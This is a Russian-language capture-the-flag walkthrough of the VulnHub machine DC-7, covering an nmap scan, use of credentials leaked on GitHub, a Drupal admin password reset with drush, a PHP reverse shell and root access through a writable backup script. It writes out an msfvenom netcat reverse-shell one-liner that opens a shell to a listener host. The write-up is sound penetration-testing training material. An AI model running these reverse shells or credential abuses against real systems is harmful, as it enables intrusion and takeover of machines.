Здравствуйте, дорогие друзья.
Сегодня будем проходить машину «DC-7». Это CTF-челлендж на базе Linux, в котором Вы можете использовать свои базовые навыки пентеста, чтобы скомпрометировать эту виртуальную машину и повысить уровень привилегий до root.
Скачать машину можно, перейдя по ссылке: https://www.vulnhub.com/entry/dc-7,356/
Сетевое сканирование
Давайте начнем со сканирования сети, используя агрессивное сканирование Nmap, и на этот раз я также буду использовать тот же подход, для определения открытых поров для запущенных служб.
sudo nmap -A 10.0.2.20
Перечисление/Enumeration
Далее нам нужно начать перечисление с хост-машины, поэтому, не теряя времени, я переходим в веб-браузер для изучения HTTP-сервиса, и в браузере откроется страница приветствия DC:7-, которая дала мне подсказку для поиска «outside the box», и эта подсказка может быть связана с интернетом.
В конце этой веб-страницы я заметил еще одну подсказку «@DC7User», которая может быть любым возможным именем пользователя.
Приняв во внимание указанную выше подсказку, я начинаю отслеживать пользователя @DC7 и нахожу учетную запись пользователя DC7 на GitHub: https://github.com/Dc7User.
Итак, когда я открыл staffdb, здесь config.php выглядит более интересно.
Я нашел учетные данные внутри config.php, как показано ниже:
Username: dc7user Password: MdR3xOgB7
Эксплуатация
С помощью перечисленных выше учетных данных я пытаюсь подключиться к ssh, и после получения tty shell я перехожу к перечислению каталогов и файлов и начинаю исследование каталога.
Внутри backup.sh я замечаю, что он использует drush, а это означает использование оболочки Drupal, и это утилита командной строки, которая используется для связи с drupal CMS.
Итак, я посмотрел команду drush в Google и нашел команду, которая использовалась для изменения пароля учетной записи.
Ссылка: https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell
Поэтому я пытаюсь изменить пароль администратора с помощью следующей команды:
drush user-password admin —password=timcore
Теперь я изменил пароль для учетной записи администратора для входа в Drupal и изучения следующего URL-адреса:
http://10.0.2.20/user/login
После доступа к консоли администратора пришло время использовать веб-приложение, внедряя в него вредоносный контент. Непосредственное написание вредоносных скриптов в качестве веб-контента не даст нам обратную оболочку приложения, но потратив некоторое время, я пришел к выводу, что для этого требуется PHP-модуль.
Поэтому я перешел к установке нового модуля через Manage>Extend>List>Install new module.
Вы можете загрузить пакет PHP для Drupal по указанному ниже URL-адресу и загрузить файл tar для установки нового модуля.
https://www.drupal.org/project/php/releases/8.x-1.0
Итак, когда установка завершена, нам нужно включить добавленный модуль.
Снова перейдите в Manage > Extend >filters и установите флажок для фильтров PHP.
еперь используем PHP-скрипт Pentest monkey, то есть «php-reverse-shell.php», который будет внедрен в качестве базового контента. Не забудьте добавить «прослушиваемый IP-адрес и порт», чтобы получить обратное соединение.
Продолжайте менять «текстовый формат на PHP» и установите флажок публикации. Держите прослушиватель netcat включенным, чтобы получать входящий шелл. Когда все настроено правильно, нажмите кнопку предварительного просмотра, и вы получите обратное соединение через netcat.
Прекрасно! У нас есть сеанс netcat как www-data, и если Вы проверите разрешение на /opt/scripts/backup.sh, Вы заметите, что у www-data есть все права доступа или изменения этого файла. Поэтому мы можем злоупотреблять правами пользовательского файла для повышения привилегий, изменяя содержимое исходного файла.
Повышение привилегий
Как было сказано выше, я попытаюсь злоупотребить назначением разрешений на запись в скрипте. Таким образом, я использую msfvenom для генерации вредоносного кода для получения оболочки bash.
msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.15 lport=8888 R
Теперь скопируем сгенерированный код и запустим еще один прослушиватель netcat на новом терминале.
mkfifo /tmp/trsgux; nc 10.0.2.15 8888 0</tmp/trsgux | /bin/sh >/tmp/trsgux 2>&1; rm /tmp/trsgux
Вставлю код, скопированный выше в предыдущем сеансе netcat, в оболочку www-data, подожду некоторое время и вернусь к другому слушателю netcat.
Через некоторое время у Вас будет доступ к корневой оболочке, теперь Вы получите последний флаг в корневом каталоге, как показано ниже.